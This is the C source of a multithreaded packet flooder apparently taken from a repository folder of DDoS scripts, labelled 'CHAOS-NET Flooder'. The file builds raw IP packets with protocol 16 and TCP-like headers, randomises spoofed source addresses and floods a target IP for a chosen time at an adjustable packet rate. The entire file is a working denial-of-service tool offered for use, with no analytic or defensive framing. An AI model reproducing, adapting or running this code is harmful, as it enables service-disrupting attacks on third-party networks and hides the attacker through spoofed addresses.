Path: blob/master/DDOS Scripts/OTHER PROTOCOLS/chaos.c
4607 views
#include <unistd.h>1#include <time.h>2#include <sys/types.h>3#include <sys/socket.h>4#include <sys/ioctl.h>5#include <string.h>6#include <stdlib.h>7#include <stdio.h>8#include <pthread.h>9#include <netinet/tcp.h>10#include <netinet/ip.h>11#include <netinet/in.h>12#include <netinet/if_ether.h>13#include <netdb.h>14#include <net/if.h>15#include <arpa/inet.h>1617#define MAX_PACKET_SIZE 6553418#define PHI 0x9e3779b91920static unsigned long int Q[4096], c = 362436;21volatile int limiter;22volatile unsigned int pps;23volatile unsigned int sleeptime = 100;2425void init_rand(unsigned long int x)26{27int i;28Q[0] = x;29Q[1] = x + PHI;30Q[2] = x + PHI + PHI;31for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }32}33unsigned long int rand_cmwc(void)34{35unsigned long long int t, a = 18782LL;36static unsigned long int i = 4095;37unsigned long int x, r = 0xfffffffe;38i = (i + 1) & 4095;39t = a * Q[i] + c;40c = (t >> 32);41x = t + c;42if (x < c) {43x++;44c++;45}46return (Q[i] = r - x);47}48unsigned short csum (unsigned short *buf, int count)49{50register unsigned long sum = 0;51while( count > 1 ) { sum += *buf++; count -= 2; }52if(count > 0) { sum += *(unsigned char *)buf; }53while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }54return (unsigned short)(~sum);55}5657unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {5859struct tcp_pseudo60{61unsigned long src_addr;62unsigned long dst_addr;63unsigned char zero;64unsigned char proto;65unsigned short length;66} pseudohead;67unsigned short total_len = iph->tot_len;68pseudohead.src_addr=iph->saddr;69pseudohead.dst_addr=iph->daddr;70pseudohead.zero=0;71pseudohead.proto=IPPROTO_TCP;72pseudohead.length=htons(sizeof(struct tcphdr));73int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);74unsigned short *tcp = malloc(totaltcp_len);75memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));76memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));77unsigned short output = csum(tcp,totaltcp_len);78free(tcp);79return output;80}8182void setup_ip_header(struct iphdr *iph)83{84iph->ihl = 5;85iph->version = 4;86iph->tos = 0;87iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);88iph->id = htonl(54321);89iph->frag_off = 0;90iph->ttl = MAXTTL;91iph->protocol = 16; //PROTO 16 CHAOS_NET92iph->check = 0;93iph->saddr = inet_addr("192.168.3.100");94}9596void setup_tcp_header(struct tcphdr *tcph)97{98tcph->source = rand();99tcph->seq = rand();100tcph->ack_seq = rand();101tcph->res2 = 0;102tcph->doff = 5;103tcph->ack = 1;104tcph->window = htons(65535);105tcph->check = 0;106tcph->urg_ptr = 0;107}108109void *flood(void *par1)110{111char *td = (char *)par1;112char datagram[MAX_PACKET_SIZE];113struct iphdr *iph = (struct iphdr *)datagram;114struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);115116struct sockaddr_in sin;117sin.sin_family = AF_INET;118sin.sin_port = rand();119sin.sin_addr.s_addr = inet_addr(td);120121int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);122if(s < 0){123fprintf(stderr, "Could not open raw socket.\n");124exit(-1);125}126memset(datagram, 0, MAX_PACKET_SIZE);127setup_ip_header(iph);128setup_tcp_header(tcph);129130tcph->dest = rand();131132iph->daddr = sin.sin_addr.s_addr;133iph->check = csum ((unsigned short *) datagram, iph->tot_len);134135int tmp = 1;136const int *val = &tmp;137if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){138fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");139exit(-1);140}141142init_rand(time(NULL));143register unsigned int i;144i = 0;145while(1){146sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));147148iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);149iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);150iph->check = csum ((unsigned short *) datagram, iph->tot_len);151tcph->seq = rand_cmwc() & 0xFFFF;152tcph->source = htons(rand_cmwc() & 0xFFFF);153tcph->check = 0;154tcph->check = tcpcsum(iph, tcph);155156pps++;157if(i >= limiter)158{159i = 0;160usleep(sleeptime);161}162i++;163}164}165int main(int argc, char *argv[ ])166{167if(argc < 5){168fprintf(stderr, "CHAOS-NET Flooder!\n");169fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);170exit(-1);171}172173fprintf(stdout, "Setting up Sockets...\n");174175int num_threads = atoi(argv[2]);176int maxpps = atoi(argv[3]);177limiter = 0;178pps = 0;179pthread_t thread[num_threads];180181int multiplier = 100;182183int i;184for(i = 0;i<num_threads;i++){185pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);186}187fprintf(stdout, "Starting Flood...\n");188for(i = 0;i<(atoi(argv[4])*multiplier);i++)189{190usleep((1000/multiplier)*1000);191if((pps*multiplier) > maxpps)192{193if(1 > limiter)194{195sleeptime+=100;196} else {197limiter--;198}199} else {200limiter++;201if(sleeptime > 25)202{203sleeptime-=25;204} else {205sleeptime = 0;206}207}208pps = 0;209}210211return 0;212}213214215